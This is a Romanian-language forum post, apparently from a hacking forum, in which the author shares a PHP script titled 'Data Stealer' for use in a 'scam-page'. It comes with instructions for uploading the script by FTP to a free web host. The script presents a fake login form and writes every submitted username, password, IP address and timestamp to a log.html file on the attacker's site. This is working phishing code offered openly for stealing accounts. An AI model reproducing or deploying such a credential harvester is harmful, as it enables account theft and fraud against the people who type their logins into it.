Jump to content
bobbytza

[PHP] Salvare date pe site

Recommended Posts

Posted (edited)

-Un mic fisier php care se poate folosi in scam-page.

-Se face upload cu FTP (preferat SmartFTP)

-datele se stocheaza in log.html (va aparea un fisier html pe site langa cel php)

-in log gasesti: Nume cont , parola , ip , data si ora.

-fisierul log.html il poti sterge prin ftp.

-un host bun pentru fisiere php Free Web Hosting, Create a Free Website - T35 Hosting (nu e reclama)

[ Dupa ce se completeaza cele 2 campuri (username , password) si dupa ce apasa butonul LOGIN datele se vor salva in site-ul tau. ]

[ In site-ul tau va aparea un fisier log.html iar in acel fisier vor fi datele salvate. (ex: www.siteultau.com/log.html) ]

[ Sper ca ati inteles ceva ! ]

<?php

//Author Name: bobbytza
//Data File Construction: 05.01.2010
//Contact: d4ubine2008@yahoo.com
//Name: Data Stealer

function san($var){
return htmlentities($var, ENT_QUOTES);
}

$username = san($_POST['username']);
$password = san($_POST['password']);
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");


?>

<form method="post" name="form">Username:  <input type="text" name="username" value="<?=$username;?>"SIZE="20" MAXLENGTH="30"><br>
Password:   <input type="password" name="password" SIZE="20" MAXLENGTH="30"><br><input type="submit" value="Login">
</form>


<?php
if ($_POST['username'] && $_POST['password'] && ('REMOTE_ADDR') && ("j F, Y, g:i a") ){
$fp = fopen("log.html", "a");
$stuff = "<br>" ."Nume cont: " . $username . "<br>" . "Parola: " . $password . "<br>" . "IP: " . $ip . "<br>" . "Data si ora: " . $date . "<br>" . "\n";
fputs($fp, $stuff);
} else {
echo "Please enter username and password.";
}

?>

Nu am explicat prea bine , sper ca ati inteles !

bobbytza

WX7BJ.jpg

1aepMr.jpg

1PoTd0.jpg

1PoJer.jpg

Edited by bobbytza

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...